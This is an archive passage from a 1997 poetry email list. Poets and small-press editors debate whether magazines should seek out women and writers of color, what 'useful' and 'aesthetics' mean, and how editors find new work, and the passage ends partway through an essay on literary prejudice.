I've been meaning to ask this for a while. This bickering over how many women and people of color an editor knows--we could add many more categories of 'otherness'--reminds me. What means are producers of poetry and poetic institutions using to develop and expand audiences? If reading makes writing, what are folks doing to expand the audience base. I am interested to know in what strategies producers are using. It seems to me a critical part of the politics.

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519. Daniel Zimmerman
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

[redacted] wrote:
>
> Kevin Killian wrote, in part:

I just thought of a few anecdotes to finish with, and one is, what is the name of that magazine that used to come to my door every month or so, edited by that man (Ellis?) who moved to Jerusalem or somewhere? I'll forget my own name next, but the magazine featured one or two poets in every issue, and after a while you just couldn't help noticing that every one of them was a man. This went on and on for years. I'd rip open the envelope and pull out the thing, and yes, there were another couple of men blathering about this that and the other .
> . . It became amusing in this awful way.
> Someone help me out here with the name of the magazine, I'm sure many of you were in it.
>
> Hi, Kevin.

This is Dan Zimmerman, one of those guys Stephen Ellis published in _:that:_, the magazine he and Stephen Dignazio edited out of Peacham, VT. Steve moved first to Ra'anana, Israel, and now lives in Amman, Jordan, where he now publishes Oasii broadsides. This year he also

published _Blue Horitals_, a collaboration I did with my late friend and mentor, John Clarke [former editor of _intent._].

Just looking at the copies of _:that:_ I have at hand, I find among the first ten issues [two writers in each] Margueritte, Karen Driscoll, Susan Smith Nash and Cathleen Shattuck.

[By the way, a review of Gerrit Lansing's _Heavenly Tree Soluble Forest_ which appears at

http://writing.upenn.edu/epc/ezines/spt/signals2.html

refers to Gerrit (and John Clarke, and me) as "[belonging] to that much-maligned group 'the Olson cult,' 'the last all-male group in the U.S. gathered around a particular poet' (Marjorie Perloff)." The list of 19 "members" which follows includes Joanne Kyger and Alice Notley!] Maybe I'm just an old fart, but I see no reason whatsoever why Dale Smith or Steve Ellis or any _independent_ editor should feel obliged to publish anything he or she doesn't want to, or even to seek work from any particular kind of group he or she doesn't want to. I stress _independent_ because, as editor of _College English Notes_, the newsletter of the New Jersey College English Association [and answerable to an editorial board], I feel obliged to include work by the non-white, non-straight, and non-male _IF_ I like it well enough, but also to seek such work through calls for contributions from the members of NJCEA. When I have _independently_ edited magazines in the past, I asked for work from writers I admired, period [that was a long time ago; few or no n-ws, n-ss, n-ms came to mind--not that I excluded anyone on principle!]. If I edit any magazines _independently_ in the future, I expect to post public calls for work, but may not, depending on what I want to do artistically, issue by issue. And why not? "Who shall say I am not the happy genius of my household?"

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520. William Burmeister Prod

Re: Names, Paradoxes, etc.

Fri 26 Sep 1997

Mark writes:

> *These books came to me by means of what I'll call accidents of attention. They were chosen, like the others, because I found them useful. "Useful" is usually what a writer means when he or she says that he or she likes another writer's work--useful for one's work or one's spiritual development (for writers usually the same thing) or for the expansion of one's taste at that juncture.*

No bone to pick here other than to say that the word useful in the context of this post makes me feel uneasy. Useful is a pregnant term when used in this

context. Too entrenched as a term of authority or the establishment. In the present popularity contest atmosphere of publishing, useful extends to the person, the author who becomes useful to the publisher or to the critic for perhaps reason of race, gender, etc. Useful seems to me to better suggest a pass/fail for authorship; the minimum requirement having been met (chosen for us perhaps), the author is the one which becomes useful, the poem a mere incidental of the exchange. The next thing you know, we are speaking of a poet as being "owned" as the dead poets are.

BB

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521. **Eliza McGrand**

Re: The Name & the Paradox of its Contents

Fri 26 Sep 1997

---

i don't know honig, henry, so can't speak to his opinions. but his words echo those stirring mailer-esque words heard only too often... if he wants poems about authentic experience, how can he say there is a lack with the EXPLOSION of poetry by women starting in sixties and continuing to present day? judy grahn. alicia ostriker. no, no, i'm going to stop now but this could fill PAGES. when someone makes noises about "no poetry these days about authentic experience" it really is a wierd blank spot (aporia for those who yearn for more critical terms in my writing) considering that one of the big focal points for feminist/women's writing has been making THEIR authentic experience heard.

dodie, re magazines, i've had this conversation with you and henry and a few others before, but while i absolutely chide anyone with a magazine that is primarily men and almost no women writing, in practical experience, i've been horrified at how little writing by women i've gotten for various ventures. i've tried to recruit in women's web spaces, art centres, word of mouth... i thought it might just be techno-phenomenon (i work on ezine) but i've heard the same thing from the few editors of print media i know. how, dodie, are you finding the women writers? my sense is that there are tons of them out there and i know i see them in writing workshops and classes, but somewhere between the class, the initial exposure, and the phase of sending work out they seem to be getting lost... or lost to the sources i know about. i know i've felt silenced, in that "this is hopeless and i'm just going to go sit in my bathroom and pick at my eyebrows" kind of way when i pick up magazines, contest winner announcements, etc. and it is male after male, especially if, side by side, is somehting with blind submission policy that has half or more women showing up as winners.

and an evening with a testosterone frenzied gang from conference/class/mla session, where the few women sit in corners, look uneasy, don't talk, and if they do get interrupted and ignored, will put me in that bathroom for hours.

i'm undergoing something of the like right now in nursing school. about 1/3 to 2/5 class black women, the majority of remainder young white women. the white women will not go near the black women. oh, they'll be partners in labs occasionally. but they sit seperate from black women, don't sit at a lunch table when one of the black women has sat there, don't walk places with them. i've tended, myself, to make friends more with the black women because they are on average, older, and because the whole fucking thing makes me sick. but my objective self is also noticing that alot of the black women are haitian and creole speakers (i can speak french pretty badly but some myself), are older, have kids. and if i can let go of the racial dynamic for a minute, can see an age, post-high-school-and-childless vs. with children, living with parents vs. living with children and family, rich vs. poor, american vs. 1rst/2nd generation immigrants, snippy vs. gracious... ok, last losing objectivity, but anyway, can see lots of other factors, and wonder where, in all this, the seperation, the blank spaces, the (is it deliberate or just unconcsious habitual) looking away all coming from? which factor, or group of factors, or intersection of factors, or collusion or collision or collaboration, etc. of these factors produces the seperation. as with this, so with women and magazines... e

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522. **mark weiss**
Re: Names, Paradoxes, etc.
Fri 26 Sep 1997

Of course _I_ knew what I meant, and I didn't think it could be misconstrued so thoroughly. Here's at it again, more completely: the work that takes me from where I am as writer and person to someplace I hadn't suspected was there. Not likely to have been "established," or it wouldn't have been a surprise. Gerritt Lansing's work, for example. Now I'm not always ready for the new thing when it appears in my life. Hell, there was a time when all hummingbirds looked the same to me, because my eye had not learned its lessons yet. So one poem of Gerritt's might have gone right past me without my noticing while I might have been there to meet another. I may be there for the first poem some other time, at some other juncture. If I am, it will be a coming together out of which something else may come, hardly appropriation as chattel. Not much of a chip in the fame game, either. I chose to call my press Junction for a reason.

At 06:42 PM 9/26/97 -0400, you wrote:
>Mark writes:

>
>>These books came to me by means of what I'll call accidents of attention.
>>They were chosen, like the others, because I found them useful. "Useful" is
>>usually what a writer means when he or she says that he or she likes
>>another writer's work--useful for one's work or one's spiritual development
>>(for writers usually the same thing) or for the expansion of one's taste at
>>that juncture.
>
>
>No bone to pick here other than to say that the word useful in the context of
>this post makes me feel uneasy. Useful is a pregnant term when used in this
>context. Too entrenched as a term of authority or the establishment. In the
>present popularity contest atmosphere of publishing, useful extends to the
>person, the author who becomes useful to the publisher or to the critic for
>perhaps reason of race, gender, etc. Useful seems to me to better suggest a
>pass/fail for authorship; the minimum requirement having been met (chosen for
>us perhaps), the author is the one which becomes useful, the poem a mere
>incidental of the exchange. The next thing you know, we are speaking of a poet
>as being "owned" as the dead poets are.
>
>BB
>
>

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523. **mark weiss**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

I'll speak only to the least interesting point in this very interesting post. I knew Edwin Honig briefly but intensely for a month at the MacDowell Colony 19 years ago. He was, then as now, a poet with a small but respectable reputation, and he was then, as apparently now, very bitter about what he saw as his outsider status and rather defensively arrogant about the uniqueness of his talent and integrity. I liked him a lot, but I'm not sure he reciprocated: I think I may have been in his mind one of the barbarians at the gate. His work, as it happens, is interesting, and a strong sense of integrity is one of its virtues. It doesn't look to have been easy to produce. In some ways he reminds me of Bill Bronk. I cut him a lot of slack.

At 07:08 PM 9/26/97 -0400, you wrote:
>i don't know honig, henry, so can't speak to his opinions. but his words
>echo those stirring mailer-esque words heard only too often... if he wants
>poems about authentic experience, how can he say there is a lack with the
>EXPLOSION of poetry by women starting in sixties and continuing to present
>day? judy grahn. alicia ostriker. no, no, i'm going to stop now but this
>could fill PAGES. when someone makes noises about "no poetry these days
>about authentic experience" it really is a wierd blank spot (aporia for
>those who yearn for more critical terms in my writing) considering that
>one of the big focal points for feminist/women's writing has been making
>THEIR authentic experience heard.
>
>dodie, re magazines, i've had this conversation with you and henry and a
>few others before, but while i absolutely chide anyone with a magazine that
>is primarily men and almost no women writing, in practical experience, i've
>been horrified at how little writing by women i've gotten for various
ventures.
>i've tried to recruit in women's web spaces, art centres, word of mouth...
>i thought it might just be techno-phenomenon (i work on ezine) but i've heard
>the same thing from the few editors of print media i know. how, dodie, are
>you finding the women writers? my sense is that there are tons of them out
>there and i know i see them in writing workshops and classes, but somewhere
>between the class, the initial exposure, and the phase of sending work out
>they seem to be getting lost... or lost to the sources i know about. i know
>i've felt silenced, in that "this is hopeless and i'm just going to go sit
>in my bathroom and pick at my eyebrows" kind of way when i pick up maga-
zines,
>contest winner announcements, etc. and it is male after male, especially if,
>side by side, is somehting with blind submission policy that has half or more
>women showing up as winners.
>
>and an evening with a testosterone frenzied gang from conference/class/mla
>session, where the few women sit in corners, look uneasy, don't talk, and
>if they do get interrupted and ignored, will put me in that bathroom for
>hours.
>
>i'm undergoing something of the like right now in nursing school. about 1/3
>to 2/5 class black women, the majority of remainder young white women. the
>white women will not go near the black women. oh, they'll be partners in
labs
>occasionally. but they sit seperate from black women, don't sit at a lunch
>table when one of the black women has sat there, don't walk places with

them.
>i've tended, myself, to make friends more with the black women because they are
>on average, older, and because the whole fucking thing makes me sick. but my
>objective self is also noticing that alot of the black women are haitian and
>creole speakers (i can speak french pretty badly but some myself), are older,
>have kids. and if i can let go of the racial dynamic for a minute, can see
>an age, post-high-school-and-childless vs. with children, living with parents
>vs. living with children and family, rich vs. poor, american vs. 1rst/2nd
>generation immigrants, snippy vs. gracious... ok, last losing objectivity,
>but anyway, can see lots of other factors, and wonder where, in all this,
>the seperation, the blank spaces, the (is it deliberate or just unconcsious
>habitual) looking away all coming from? which factor, or group of factors,
>or intersection of factors, or collusion or collision or collaboration, etc.
>of these factors produces the seperation. as with this, so with women
>and magazines...
>e
>
>

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524. **Kali Tal**
Re: The Name & the Paradox of its Contents
Fri 26 Sep 1997

Dale asks:

> *1) how do*
> *you publish poetry you love and 2) still represent poets of diverse backgrounds?*

Mostly I stay out of these discussions because I inevitably get flamed up by folks who insist on seeing me as some sort of Political Correctness Fascist and/or a demon of aesthetic relativism. But this discussion is so interesting I can't help jumping in.

My notion of staying diverse might be different from most. Under the imprint of Burning Cities and Viet Nam Generation, Inc., I publish a series called "White Noise" which features white male poets of mostly working class origins and/or identification, who have a progressive political orientation (including our own Joe Amato--hi Joe!). In this particular case, I'm publishing WhiteHetMales on purpose, with full knowledge of exactly what I'm doing. I'm doing it because I think these particular guys have something really interesting to say, and I think

they say it well. Most of the poetry books I publish are in this White Noise series (7 so far, with numbers 8-10 in the works), but I have also published books by women, Chicano, and African American poets, and in my journal, _Viet Nam Generation_, the mix is so various I can't break it down. Most of the poets I publish are politically progressive.

I do read and enjoy some right wing poets, but I don't often publish them. Mostly I just don't feel like it. And the beauty of running my own press is that I don't have to publish what I don't feel like publishing. On the other hand, I don't publish any poetry I don't think is good. And "good" means whatever I like, for whatever reasons I like it. (Reasons, by the way, I'm happy to clearly define for anyone who asks about why I like a particular poem.) Anybody who tries to argue that "good" means something else, I believe, is just layering rationalization on faith.

> *Also, my friends who write the poetry I like, happen to be predominately white and male. I prefer friends' work to strangers. But I don't limit it in that way.*

Well, this does seem to be the crux of the issue. I think, on one level or another, most of us publish our friends, submit our poems to our friends, read at our friends' bookstores or colleges, and so on. I mean, this is a small world, divided into smaller cliques, and it's hard to escape. Me, I'd go nuts if most of my friends were white and male. I need a good mix or I'm miserable. So I work hard at putting myself in situations where I'm going to meet people who are not white and/or not male in order to feed my burning need for variety. And what I've found is that when I connect to new people--make new friends--the doors of new communities open up to me. My African American friends who are poets send me poetry by *their* friends, who are often African American. But--at least in my experience--all this diversity has to be based on *real* relationships, real friendships and collegial connections between people who genuinely like and respect and try to understand each other. My immediate assumption, as a white person, is that when I make a new contact with a person of color, the burden of proof is on *me* to demonstrate, over a period of time, that I do have a genuine liking and respect for the person and his/her work, and that I'm *not* simply "collecting" token poets or token friends to feed my own image. After a while my intentions become clear and that's a basis for building mutual trust and respect (a process which is neverending). Takes a lot of time and energy. But then, don't all friendships?

As a politically radical feminist and an African Americanist, I find it sometimes harder to maintain my friendships with WhiteHetMales than with members of some other groups. But, because there are many things I greatly admire about my WhiteHetMale friends as poets and as human beings, I put in the effort. Of course, this isn't a one-sided project (what friendship is?), and I give my

WhiteHetMale friends full credit for doing an awful lot of work to maintain their friendships with me. It's a hell of stretch for all parties concerned. My guess is that we do it because we're suckers for complexity, for stimulus, for contact.

In regards to Henry Gould's comment about Edwin Honig pushing for readings or a series of readings by Vietnam vet poets, well, I've been doing those for years. The Sixties Conference hosts a coffeehouse where we feature Viet Nam veteran poets, and we've also had poets reading the work of Vietnamese writers in translation. Readers have included W.D. Ehrhart, Dale Ritterbusch, David Connolly, Alan Farrell, David Vancil, David Willson, R.S. Carlson, Kevin Bowen and Coleman. Martha Collins and Wayne Karlin have read works in translation from their anthologies. Like Honig, I do find this poetry "interesting and real," although I don't have Honig's objections to other sorts of more cerebral poetry, or simply poetry by folks who haven't "been there done that." At the same time, I'm pretty picky about the Viet vet poets I publish. I think that I've come across 50-60 good ones, which is a lot. But, on the other hand, I've read work submitted by maybe 500-600 Viet vet poet wannabes, which has convinced me that "being there" isn't any guarantee you can speak articulately or effectively about being there. As a (perhaps) interesting aside, I find the work of the *less* self-consciously "literary" Viet Vet poets more compelling than the work of the "famous" Viet vet poets like Weigl and Komunyakaa for reasons which have everything to do with my preference for what I think of as "plain" vs. "fancy" narrative style in the work of poets and writers portraying the effects of traumatic experiences. (I'm consistant this way, since I also prefer the hyperpop narrative style of Gus Hasford to the novelistic devices of Tim O'Brien.) It's a personal bias, and I acknowledge it straight out.

Now, I'm used to (and even more importantly, the poets I publish are used to) having such poetry dismissed by folks who wave the banner of "aesthetics" as a measure of quality. I even publish some cowboy poets who are also--not coincidentally--Viet Nam veterans, and I'm always amazed at the stony refusal to acknowledge this still vital genre by the folks who inhabit university creative writing programs.

What it all comes down to for me (and I was talking to Dan Featherstone about this--hi Dan!--last night), is that I don't give a damn about what any sort of self-appointed or actual "poetry establishment" thinks about either my press or the poets I publish. I publish what I like, because I like it and because I think it's good, in the sense that I defined "good" above. And people are gonna call me whatever they want, and they'll refer to my press however they want, or some of them will ignore me and hope I disappear. But the bottom line is that I've got books of poetry in print, and I'm proud of them, and their authors are proud of them, and people actually buy them and read them and get something out of them. Since no small press I know of makes enough money for either its

authors or its owners (or officers, if it's a nonprofit) to be stimulated by the prospect of monetary gain, I figure that this is as good an attitude as any. So it doesn't bother me a bit if Dale publishes mostly white guys, and if Chain publishes mostly women. Even though poets do the writing, presses are always already expressions of their editors and owners. I expect no less.

I *would* like to see more presses in the hands of women and people of color, but, then I'd like to see power distributed more evenly in just about every realm of culture and society, which accounts--no doubt--for my politics.

What it comes down to for me (and a part of me wants to laugh uproariously and derisively as I say this) is love. For most of us this is an unpaid gig, and why would we do it if we didn't love it? I can't publish what I don't love. Now, sure, I'm willing to try to learn to love new things, but I don't think we've got a whole hell of a lot of control over the deepest levels of our attractions. We might be able to *explain* those attractions and we might even judge 'em as "constructive" or "destructive" or whatever, but it sure is hard as hell to change 'em. What I've found though, is that sometimes I meet new kinds of writing that feel like coming home, that give me the sensation of, "Oh, yeah, I've always loved this; I just hadn't run across it yet." So I seek diversity not out of a sense of duty, but out of a desire to find new things to love. "Love" is one of those words you're supposed to be embarrased to say in academic circles, but if I can't talk about poetry in terms of love (though, of course, not *only* in terms of love), I figure why talk about it at all?

Kali

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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525. **mark weiss**

Re: The Name & the Paradox of its Contents

Fri 26 Sep 1997

Three Cheers!

At 04:44 PM 9/26/97 -0700, you wrote:
>Dale asks:
>
>>1) how do
>>you publish poetry you love and 2) still represent poets of diverse

>>backgrounds?
>
>Mostly I stay out of these discussions because I inevitably get
>flamed up by folks who insist on seeing me as some sort of Political
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>I'm doing. I'm doing it because I think these particular guys have
>something really interesting to say, and I think they say it well. Most of
>the poetry books I publish are in this White Noise series (7 so far, with
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>another, most of us publish our friends, submit our poems to our friends,
>read at our friends' bookstores or colleges, and so on. I mean, this is a
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>who are not white and/or not male in order to feed my burning need for
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>
>Kali
>
>
>Kali Tal new WORD order
>PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com
>[redacted] (phone & fax) "Web Design For Smart People"
>
>Sixties Project [redacted]
>http://jefferson.village.virginia.edu/sixties http://www.kalital.com
>
>

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526. Juliana Spahr
dilemmas
Fri 26 Sep 1997

Dale Smith wrote:

> *The dilemma, as I see it, is twofold: 1) how do you publish poetry you love and 2) still represent poets of diverse backgrounds?*

Why does this have to be a dilemma?

But when it comes down to it, I don't have a problem with friend journals (I think this is a good way to interact with the world; I like to see how people that are friends and poets are talking to each other). When you put the call on poetics list I had the oh this looks interesting I think I'll send a check reaction.

I don't think you are accusing me of this but just want to make this clear. I'm trying to take up your invitation to talk about editing issues because these kinds of things dominate my life. I'm not complaining about what you are doing.

And like you I want to make decisions without race/gender concerns and I think I do in Chain. We (I co-edit it with Jena Osman) have never published anyone because they fit some category (and you are wrong to think the cultural marketplace, whatever form this might take, cares; it might be a more interesting world if they did; but as far as I can tell the cultural marketplace cares only about "aesthetics"--look at who or what gets NEAs).

But unlike you, I have a problem with the word aesthetics b/c it means to me things that are too neat. (Granted, when I think of this word I think of journals that use this criteria to smooth over and glaze things. I don't think I'm thinking of what you mean judging by the list of people you had in the journal. Maybe you could clarify your aesthetics and maybe I could learn to love the word.)

But we did start Chain in order to explore aesthetics or how to avoid aesthetics. We felt there were a lot of journals that had things too neat and we wanted things messy. (too messy?) So we made a point, and still do, to get rid of the "is this an aesthetically pleasing poem" question and to ask the "does this poem tell us something we might not already know or show us something a little sideways" or some question like that. What it makes is a messy journal. One with friends and enemies and with work that we may or may not like. (Although I tend to like it but I tend to like things.) I think wanting people to think I'm a nice guy has little to do with it. If it did I would probably publish more friends and stop returning their work when it doesn't fit the topic.

I want all sorts of journals. I want them all funded and available. I want Chain and I want Yale Younger Poets to have this very badly. It seems especially important to have both if we tend to publish work by women (and men also?) you don't like. Maybe when something comes into YYP that you don't like you could send it over to us.

Who are you talking about when talk about corporate/academic funding? The only thing I can think of are those journals that graduate programs start to promote the graduate program. I call these the state journals--the Ohio Quarterly, the Hawaii Review, the Iowa Review, etc. (Chain was an attempt to take advantage of this tradition of funding journals for graduate students; it worked for a while).

My poetics has been influenced by NY School, Black Mountain, _and_ Stein (Pound a little less). That is only the beginning. Does that matter?

I probably wouldn't say that about Chain's aesthetics. I couldn't figure that out.

There are many writers of color writing experimental poetry. There are many editors also. It doesn't take a search to realize this. Although unfortunately, it does take a library or some other depository with a decent poetry collection.

With respect,

Juliana

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527. **Maria Damon**
Re: Sacred Cows
Fri 26 Sep 1997

> *Re: Stein. That's what really seems to be upsetting to certain people on the list. Well, I dismiss her work, not because she is a woman, but because I find it unbearable to read. So many posts have been profoundly condescending and I appreciate your efforts to set me straight, so to say. But Stein, who is adored by many, including Phil Whalen and Alice Notely, both of whom I deeply admire, provides a kind of model for a poetics that I find misleading, presumptive, and ultimately useless because she takes you nowhere. You gain nothing by reading her.*

i take it these remarks are directed at me. it was not my intention to be condescending. but i must say, the sentence "you gain nothing by reading her" could easily be rendered more honestly as "*I* gain nothing by reading her." that would vitiate the moral bombast i find irksome. esp when coupled with the implication that it's a real struggle to find women/poets of color who are any good. your take on stein isn't the "really" upsetting thing for me; it's simply the easiest for me to respond to. i am not unsympathetic to the difficulty of finding material outside of one's networks; the xcp conference will be a reflection of that, and i hope i learn to expand my network as a result. but the tone in which this difficulty is expressed (as if it were an objective truth that "there are so few good ones out there" rather than "I'm not connected with those circles") is what i find problematic. as for condescension, could it be that i'm just not being as warm and fuzzy as usual since you've just insulted my (apparent) gender, my politics, my aesthetics, and my self?

↑ Index

528. **DS**
Re: name, paradox, &c.
Sat 27 Sep 1997

Or maybe begin questioning WHY you don't like it...

Respectfully,
Dan
>
>>down a range of perspectives, hellyeah. publish stuff you don't like for
>>the sake of being "representative," noway.
>>
>>publish stuff you like -- and keep looking for new stuff to like.
>>
>>
>>cheers,
>>tom
>>
>>
>

↑ Index

529. **David Bromige**
"useful" in context of paradox thread
Sat 27 Sep 1997

Both your posts, William Burmeister and Mark Weiss, were of interest, I found, & I doubt that you are far apart in your thinking on the matter...its just that "useful" has a big range. What William has to say re the objectification of the poet, the commodification of the poet I should say, so thoroughly until the poetry becomes as vestigial as an appendix, is sadly accurate to the times. I liked too the analogy Mark used, about all hummingbirds at one time looking the same to him, before his eye was trained. Thanks to both, & all who have graced this thread. Makes me realize anew how grateful I am for this List.

++++++++++

And also because one can get such various info so fast : thanks to those who posted the e-ddresses I was looking for ; I now have them both.

David

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530. **robert drake**
Re: The Paradox and the Name of its Disco Tents
Sat 27 Sep 1997

jordan suggests several mags that he believes might serve as models... so then, i'd ask dale if he agrees? (cause ov course if he does, then why start another mag that duplicates existing?) id guess, based on his comments, he would disagree, and precisely on th point that jordan brings up--tho some branches in LangPo share lineage w/ th NY/Pound tradition, dale seems to be climbing a different trunk of the family tree. What exactly are the distinguishments you want to make, dale--the aesthetics that you refer to as the basis for your editorial judgement? i'm not clear, only that they are Not the aesthetics of Chain, or Stein--what Are they? and the followup question to the list wd be, could you suggest names & addresses of writers w/in that aesthetic who might widen/diversify dale's circle of friends...

lbd

> *The World. Hanging Loose. Misc. Proj. No Trees.. Also, I'd say the Language school is a metamorphosis of NY/Pound so I'd include exactly the magazines Dale is distancing himself from in the vapor trail of that nexus. As always, the "real critique" is elsewhere. - J*
>
> *request to the list: wondering if anybody might point to examples of other mags that might serve as models for dale&co's efforts: ie, NYschool/Naropa/Pound nexus aesthetics, w/ a wider demographic contributor base?*
>
> *& if such doesnt come to mind, praps the real critique being made is of that aesthetic, rather than this particular mag?*
>
> *asever*
> *luigi*

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531. **Joe Amato/Kass Fleisher**
Re: The Name & the Paradox of its Contents
Sat 27 Sep 1997

love that post, kali!...

i would add only that the love of justice has something to do with all of this (certainly nothing one-to-one about it, no hard & fast lines to be drawn when it comes to love)... it seems odd, i know, even moralistic or dogmatic to say so... but i would say that there is a measure of responsibility entailed in going public, & that it's up to each of us to reflect on same...

well anyway, i too have learned a lot thus far from this thread, & have to observe that it seems to have invigorated this list... so thanx to *all* for participating in this exchange...

best,

joe

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532. **henry gould**
Re: The Name & the Paradox of its Contents
Sat 27 Sep 1997

On Fri, 26 Sep 1997 16:31:24 -0700 mark weiss said:
>I'll speak only to the least interesting point in this very interesting
>post. I knew Edwin Honig briefly but intensely for a month at the MacDowell
>Colony 19 years ago. He was, then as now, a poet with a small but
>respectable reputation, and he was then, as apparently now, very bitter
>about what he saw as his outsider status and rather defensively arrogant
>about the uniqueness of his talent and integrity. I liked him a lot, but
>I'm not sure he reciprocated: I think I may have been in his mind one of
>the barbarians at the gate. His work, as it happens, is interesting, and a
>strong sense of integrity is one of its virtues. It doesn't look to have
>been easy to produce. In some ways he reminds me of Bill Bronk. I cut him a
>lot of slack.

I'd like to respond briefly to several posts. Right on Kali & Juliana, yes - though I probably sound often like Mr. Smooth-it-over aesthetics on this list, I AGREE with your healthy editorial perspective(s), & in lil nedge way have often taken poems that are naive & rough from the persp. the academic style-is-power school (in its many variants) -

Elliza, everything you say about the chauvinist attitude re: "real experience" is true & historically documentable but I don't understand why you insist on putting words in Honig's mouth - he never said "there is no poetry of authentic experience" - he just said there is a strong stream right now - maybe an ascendant stream (vid. Jorie Graham, Lang Po, other currents) supported by much critical hoogabooga, which is so intent on analyzing the non-consistency or problematic nature of self & experience, that history as a shared reality or world phenomenon - the self as participant in a cataclysmic century or in mass movements of peoples & nations - has been downplayed - & that the poetry of vets now is a link with certain streams of political poetry in the 30s with which he identifies in a strong emotional way (he said vets - not MEN or WOMEN vets). So is it possible to discuss this issue without necessarily framing it in the

context of patriarchy & chauvinist interpretations of reality? Maybe not. I'm just asking.

Mark, Honig's collected poems are forthcoming online at Wendy Battin's CAPA, hopefully in the next couple months. Yes he is an irascible sly literary fox with a hell of a sharp tongue & one-upmanship instincts bred on Brooklyn streets in 20s & 30s - proud, proud - maybe blinkered in his "aesthetics" - but he just wants people to read some of his heavy great poems... I see him as a specifically human force vs. present academic/aesthetic/commercial bureaucracies (not that I'm against the academy, or art, or commerce! Heck no! Just ask Jack Spandrift!) - Henry Gould
>>

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533. Burt Kimmelman

somebody wanna help this poor soul out?

Sat 27 Sep 1997

From: MX%"[redacted]" 27-SEP-1997 06:32:59.74
To: MX%"[redacted]"
CC:
Subj: Small Press Movement / Private Publishers

Date: Sat, 27 Sep 1997 05:32:33 -0500
Publishing" <[redacted]>
From: An-tAthair-Siorai Press Gp <[redacted]>
Subject: Small Press Movement / Private Publishers
To: [redacted]

Dear SHARPists,

I am interested in finding any available information, private or public, opinion or fact, on the state of the Small Press Movement and private publishers in general around the globe. I do not wish to include the vanity presses in my query.

Is the Small Press Movement still a force to be reckoned with when it comes to discovering new talents, especially in the field of poetry?

Has the Small Press Movement expanded with the introduction of the PC and DTP, and is DTP taking over from hand printing.

How does the Small Press Movement cope with advertising their wares and with distribution without incurring greater overheads?

Are there any magazines, electronic / Internet or hard copy, devoted exclusively to Small Press publishers?

I would be particularly interested in hearing from any SHARP members with personal knowledge, or their own presses, or who can pass on to me contact names and addresses / e-mail that I may follow up.

Adam An-tAthair-Siorai
An-tAthair-Siorai Press Group
[redacted]
Kirch Strasse 17, D-27318 Hoya, Germany

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534. **p. durgin**
Re: The Name & the Paradox of its Contents
Sat 27 Sep 1997

"I wonder. . ." I third that emotion. Yet, in attempt to avoid undue commotion, let's remember we are suggesting that a person's aesthetic should hold up against criticism from within as well as without, and we are not making indictments.

Patrick F. Durgin

I[I]I [redacted] I[I]I

> *i second that emotion; and i also, personally, wince at playing stein off against pound in a way that casts stein as the narcissist, the errant one, the one with the "problem." to my mind, this is a gendered and politicized determination as much as it is an aesthetic one --i.e. women are often accused of narcissism, self-indulgence, etc and that judgment is used to keep them from access to the renown and respect enjoyed by their male peers. dale, i wonder if it'd be fair to say that your aesthetic sense may itself be the product of conditioning in an unjust society?*

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535. **Steve Evans**
A Note on Prejudice
Sat 27 Sep 1997

I have no direct response to the issues raised by Dale Smith's candid embodiment of his prejudices, and the List's various and, for the most part, generous response to it, but a few days before the controversy broke surface here (hot on the heals of Slider affair) I wrote a small note to no one in particular on some similar themes. It's somewhat long for e-mail, but I'll risk it here on a quiet Saturday afternoon....

=-=-=-=-=-=-=-=-=-=-=-

Notes to Poetry 5

How are prejudices--one might equally say tastes--built up in us during the endless apprenticeship to textuality? How does it happen that not only certain texts or authors but indeed whole stances, entire ways of proposing the scale and texture and objective of a writing practice, come to be placed under a subjective taboo: boring, aggravating, sickening; worst of all, neutral or blank. There is no element of a poem to which value, however carefully checked by description, does not cling. The way this poem looks on the page (another prose block, or some mechanically-reproduced stanza form: forty pages of tercets!), the way this one attacks the question of sound (clumsy, or heavy-handed, or lacking, or...: the objections are endless on this front), the way this one asks me to suppose the world is something dramatically other, and usually drastically worse, than what I think it is (a world of only suburban backyards or rural solitudes or ineradicable bitterness and domination). Inexhaustible ways, then, to be opinionated about the poem without yet having reached, let alone read, it. And this makes for a dilemma not only for the addicts of openness (pluralists), not only for the tough customers of program and principal (dogmatists), but for anyone who reads not as a duty or a chore (the academics) but as a risk.

Catherine Walsh's *Pitch* maintains a porous border relative to its materials and manifests a lively sense of variability in both its open field and stanzaic modes of composition. In the absence of one manifestly "dominant" formal element, it seems plausible to relate the field of the page to the field of consciousness, the play of print to that of percepts. It sounds terrific, and yet it is just the sort of book that of late I've found it inordinately difficult to value. My restlessness takes the form of a craving for the determinate; less the "concrete" (it's not a deficit of the referent, such as a jolt of "imagism" or "objectivism" might remedy, that my attention suffers under) than the...the only word that comes to mind is the _tensed_. Indeed, with a little reflection I see that the poetics of diffusion has always presented an obstacle to me and that a whole constellation of preferences has arranged itself around this kernel of prejudice: O'Hara over Ashbery, Armantrout over Berssenbrugge, Williams over Stevens, Lorenz Hart over Sonic Youth, and so forth. What thou loveth well is one thing--source of orientation, courage, and comfort. But it is from the unlit regions, where the sun of prejudice hasn't already illuminated every detail, that mind-changing texts are most likely to come.

Over time, and with the benefit of hearing Walsh read aloud from both her own and from Samuel Beckett's texts, the specificity of the work has come clearer to me, somewhat to my embarassment but much more to my relief (surely the affective component, as much as the cognitive one, plays a role in "changing one's mind": what haven't we at one time or another said in order to mask or avoid

the vulnerability of not thinking "x" anymore but lacking the emotional where-withal demanded in a given context to say so?). In her reading, I heard what I've never heard before at a reading: a person who could successfully bring into a public space that incredibly important, but absolutely fragile--seemingly un-transportable--tonal landscape of intimate speech: the whisper, the interrogative tone used only with people utterly familiar and deeply loved, the falling tone in the broken-off utterance, the slight startle back into speech after a silent spell in another's presence, the undertones of talking to oneself, the quizzical texture of the many messages we address to inanimate things and non-verbal beings, ... What I learned at the reading was that I had failed to understand precisely the pitch of Walsh's *Pitch*. It may be that as an American I at first heard only the sense of pitch as come-on, the ad-pitch (the carnivalesque cover of the book perhaps prompting me also in that direction). But nothing could be further from the canned speech of chattering capitalism than her work. When Walsh read from Beckett's *Texts for Nothing* I suddenly heard the adjectival form, as in "pitch" black, and worked my way back to the tar-dark substance whose place in Beckett's topography is all the more secure for rhyming with the locus of so much of the (in)action in his work--the "ditch." And when I heard her own work, the musical and linguistic senses of the word came to the fore. In utterances, tone or pitch does two things especially well: it marks out new information (sorting rhemes from themes) and it articulates, through any number of lexical (exclamations) and non-lexical (interjections) means, the 